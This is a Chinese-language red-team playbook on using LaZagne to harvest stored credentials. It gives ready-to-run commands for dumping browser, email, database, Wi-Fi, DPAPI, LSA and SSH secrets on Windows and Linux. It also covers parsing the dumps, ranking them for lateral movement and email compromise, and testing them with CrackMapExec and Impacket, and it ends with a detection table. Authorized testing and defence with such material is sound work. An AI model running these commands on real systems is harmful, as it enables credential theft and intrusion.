performing-credential-access-with-lazagne

使用 LaZagne 执行凭据访问

概述

LaZagne 是一款开源的后渗透工具，旨在获取存储在本地系统中的凭据。它支持 Windows、Linux 和 macOS，其中 Windows 的模块库最为丰富。LaZagne 可以从浏览器（Chrome、Firefox、Edge、Opera）、电子邮件客户端（Outlook、Thunderbird）、数据库（PostgreSQL、MySQL、SQLite）、系统存储（Windows 凭据管理器、LSA 机密、DPAPI）、Wi-Fi 配置文件、Git 凭据以及数十种其他应用程序中恢复密码。该工具归类于 MITRE ATT&CK T1555（来自密码存储的凭据），并被列为软件 S0349。红队在获得初始访问权限后使用 LaZagne 收集存储的凭据，从而实现横向移动和权限提升。

何时使用

• 在开展涉及使用 lazagne 执行凭据访问的安全评估时
• 在遵循相关安全事件的应急响应流程时
• 在执行计划内的安全测试或审计活动时
• 通过实际操作测试验证安全控制措施时

前置条件

• 熟悉红队概念和工具
• 拥有用于安全执行的测试或实验环境访问权限
• Python 3.8+ 及已安装所需依赖项
• 对任何测试活动拥有适当的授权

目标

• 在已攻陷的 Windows、Linux 或 macOS 终端上部署 LaZagne
• 从所有支持的密码存储中提取凭据
• 解析并优先排序恢复的凭据以用于横向移动
• 识别高价值凭据（域管理员、服务账户、云访问）
• 以适当的证据处理方式记录凭据收集结果
• 将恢复的凭据与 BloodHound 攻击路径进行关联

MITRE ATT&CK 映射

• T1555 - 来自密码存储的凭据
• T1555.003 - 来自密码存储的凭据：来自 Web 浏览器的凭据
• T1555.004 - 来自密码存储的凭据：Windows 凭据管理器
• T1552.001 - 不安全凭据：文件中的凭据
• T1552.002 - 不安全凭据：注册表中的凭据
• T1003.004 - OS 凭据转储：LSA 机密
• T1539 - 窃取 Web 会话 Cookie

工作流

阶段 1：LaZagne 部署

1. 将 LaZagne 传输到已攻陷的主机：

   # Pre-compiled executable (Windows)
   # Transfer lazagne.exe via C2 channel or file upload
   
   # Python version (requires Python on target)
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
   

2. 验证执行能力和权限：

   # Check current user context
   whoami /priv
   
   # LaZagne works with standard user privileges for user-level stores
   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
   

阶段 2：完整凭据提取（Windows）

1. 使用所有模块运行 LaZagne：

   # Extract all credentials
   lazagne.exe all
   
   # Export results to JSON
   lazagne.exe all -oJ
   
   # Export results to specific file
   lazagne.exe all -oJ -output C:\Temp\creds
   

2. 运行特定模块进行针对性提取：

   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
   lazagne.exe browsers
   
   # Windows credential stores
   lazagne.exe windows
   
   # Database credentials
   lazagne.exe databases
   
   # Email client credentials
   lazagne.exe mails
   
   # Wi-Fi passwords
   lazagne.exe wifi
   
   # Git credentials
   lazagne.exe git
   
   # System credentials (requires elevated privileges)
   lazagne.exe sysadmin
   

阶段 3：凭据提取（Linux）

1. 在 Linux 目标上运行 LaZagne：

   # Full extraction
   python3 laZagne.py all
   
   # Browser credentials
   python3 laZagne.py browsers
   
   # System credentials (SSH keys, shadow file with root)
   python3 laZagne.py sysadmin
   
   # Database credentials
   python3 laZagne.py databases
   
   # Git credentials
   python3 laZagne.py git
   

阶段 4：凭据分析与优先排序

1. 解析 JSON 输出以获取唯一凭据：

   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"Source: {entry.get('Category')}")
           print(f"  User: {entry.get('Login', 'N/A')}")
           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
   

2. 按价值对凭据进行优先排序：
   • 用于横向移动的域凭据（AD 账户）
   • 云服务凭据（AWS、Azure、GCP 控制台）
   • VPN 和远程访问凭据
   • 用于数据访问的数据库凭据
   • 用于商业电子邮件入侵的电子邮件凭据
   • 用于权限提升的服务账户凭据

阶段 5：凭据验证与使用

1. 验证恢复的域凭据：

   # Test domain credentials with CrackMapExec
   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
   
   # Test with Impacket
   smbclient.py domain.local/user:'password'@10.10.10.1
   

2. 与 BloodHound 路径交叉比对以识别高价值目标
3. 使用恢复的凭据进行横向移动或权限提升

工具与资源

工具	用途	平台
LaZagne	多源凭据提取	Windows/Linux/macOS
Mimikatz	LSASS/DPAPI 凭据转储	Windows
SharpChrome	Chrome 凭据提取（.NET）	Windows
SharpDPAPI	DPAPI 凭据解密	Windows
CrackMapExec	凭据验证与喷洒	Linux
Impacket	远程凭据测试	Linux（Python）

LaZagne 模块覆盖范围 (Windows)

类别	模块
浏览器	Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
电子邮件	Outlook, Thunderbird, Foxmail
数据库	PostgreSQL, MySQL, SQLiteDB, Robomongo
系统管理	PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
Windows	Credential Manager, Vault, DPAPI, Autologon
WiFi	存储的 Wi-Fi 密码
Git	Git Credential Store, Git Credential Manager
SVN	TortoiseSVN
聊天	Pidgin, Skype

检测签名

指标	检测方法
LaZagne.exe 进程执行	带基于哈希检测的 EDR 进程监控
访问 Chrome Login Data SQLite 数据库	对浏览器凭据存储的文件访问监控
DPAPI CryptUnprotectData API 调用	API 挂钩和 ETW 追踪
访问 Windows Credential Manager	事件 5379 (Credential Manager 读取)
大规模凭据存储枚举	针对顺序访问模式的行为分析
Python 解释器访问凭据文件	脚本块日志记录和文件访问审计

验证标准

• LaZagne 部署在受损端点上
• 完成完整凭据提取 (所有模块)
• 凭据以 JSON 格式导出以供分析
• 恢复的凭据已解析并去重
• 高价值凭据已识别并优先处理
• 域凭据已针对 AD 验证
• 从恢复的凭据中识别出横向移动机会
• 证据已按照适当的处理程序记录